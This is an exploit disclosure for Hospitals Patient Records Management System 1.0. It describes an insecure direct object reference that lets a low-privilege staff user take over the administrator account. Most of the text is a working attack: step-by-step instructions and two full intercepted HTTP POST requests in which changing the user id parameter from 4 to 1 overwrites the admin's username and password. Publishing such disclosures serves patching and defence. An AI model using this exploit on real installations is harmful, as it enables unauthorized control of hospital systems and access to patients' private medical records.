Hospitals Patient Records Management System 1.0 Account TakeOver

`# Exploit Title: Hospitals Patient Records Management System 1.0 - Account TakeOver  
# Date: 30/12/2021  
# Exploit Author: twseptian  
# Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip  
# Version: v1.0  
# Tested on: Kali Linux 2021.4  
  
*Insecure direct object references (IDOR)*  
Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input.Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system.  
  
*Attack Vector*  
An attacker can takeover the Administrator's account  
  
*Steps of reproduce:*  
Note: in this case, we used two users, user1 as a staff with user id '4', and admin as an Administrator with user id '1'.  
  
=====================================================================================================================================  
  
Step-1: Log in to the application using user1 account,then on the dashboard navigate to 'My Account'  
  
http://localhost/hprms/admin/?page=user  
  
=====================================================================================================================================  
  
Step-2: Modify the username,lastname and password,then let's intercept the request using burpsuite:  
  
POST /hprms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239  
Content-Length: 806  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/hprms/admin/?page=user  
Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="id"  
  
4  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="firstname"  
  
user1  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="lastname"  
  
admin  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="username"  
  
admin1  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="password"  
  
admin1  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------17632878732301879013646251239--  
  
=====================================================================================================================================  
  
Step-3: Change parameter id '4' to id '1'  
  
POST /hprms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239  
Content-Length: 806  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/hprms/admin/?page=user  
Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="id"  
  
1  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="firstname"  
  
user1  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="lastname"  
  
admin  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="username"  
  
admin1  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="password"  
  
admin1  
-----------------------------17632878732301879013646251239  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------17632878732301879013646251239--  
  
=====================================================================================================================================  
  
step-4: Click 'Forward' on burpsuite. Now user1 is a Administrator.  
  
`